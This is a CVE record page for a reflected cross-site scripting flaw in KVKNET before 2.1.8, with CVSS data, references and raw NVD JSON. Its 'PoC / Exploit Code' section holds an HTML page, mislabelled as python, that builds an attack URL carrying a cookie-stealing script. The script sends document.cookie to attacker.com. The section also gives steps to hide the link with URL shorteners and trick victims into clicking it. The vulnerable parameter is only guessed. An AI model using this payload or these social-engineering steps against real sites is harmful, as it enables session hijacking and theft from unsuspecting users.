CVE-2025-11960

Description

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Aryom Software High Technology Systems Inc. KVKNET allows Reflected XSS.This issue affects KVKNET: before 2.1.8.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

KVKNET < 2.1.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-11960 KVKNET Reflected XSS PoC -->
<!-- This PoC demonstrates the reflected XSS vulnerability in KVKNET before version 2.1.8 -->
<!-- Replace 'TARGET_URL' with the vulnerable KVKNET application URL -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-11960 PoC</title>
    <style>
        body { font-family: Arial, sans-serif; padding: 20px; }
        .poc-box { background: #f5f5f5; border: 1px solid #ddd; padding: 15px; margin: 10px 0; }
        code { background: #eee; padding: 2px 5px; }
    </style>
</head>
<body>
    <h1>CVE-2025-11960: KVKNET Reflected XSS PoC</h1>
    
    <div class="poc-box">
        <h3>Attack URL (Replace TARGET_URL):</h3>
        <code id="attackUrl"></code>
    </div>
    
    <div class="poc-box">
        <h3>Malicious Payload:</h3>
        <code>&lt;script&gt;alert(document.cookie)&lt;/script&gt;</code>
    </div>
    
    <div class="poc-box">
        <h3>Encoded URL for Evasion:</h3>
        <code id="encodedUrl"></code>
    </div>
    
    <script>
        // Base URL of vulnerable KVKNET application
        const baseUrl = 'TARGET_URL';
        
        // XSS payload - steals victim cookies
        const xssPayload = '<script>fetch("https://attacker.com/steal?c="+encodeURIComponent(document.cookie))</script>';
        
        // Construct attack URL (assuming vulnerable parameter is 'q' or 'search')
        const attackUrl = baseUrl + '/search?q=' + encodeURIComponent(xssPayload);
        
        document.getElementById('attackUrl').textContent = attackUrl;
        document.getElementById('encodedUrl').textContent = encodeURIComponent(xssPayload);
        
        // Display the URL for copying
        console.log('Attack URL:', attackUrl);
    </script>
    
    <div class="poc-box">
        <h3>Usage Instructions:</h3>
        <ol>
            <li>Replace 'TARGET_URL' with the actual KVKNET application URL</li>
            <li>Identify the vulnerable parameter by testing with basic XSS probe</li>
            <li>Use URL shortening services to obfuscate the malicious link</li>
            <li>Social engineer victim to click the crafted URL</li>
            <li>When victim visits the URL, the XSS payload executes</li>
        </ol>
    </div>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-11960
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-11960
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-11960/
[4] VulDB https://vuldb.com/cve/CVE-2025-11960
[5] https://www.usom.gov.tr/bildirim/tr-25-0386

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-11960", "sourceIdentifier": "[email protected]", "published": "2025-11-11T12:15:33.863", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Aryom Software High Technology Systems Inc. KVKNET allows Reflected XSS.This issue affects KVKNET: before 2.1.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-25-0386", "source": "[email protected]"}]}}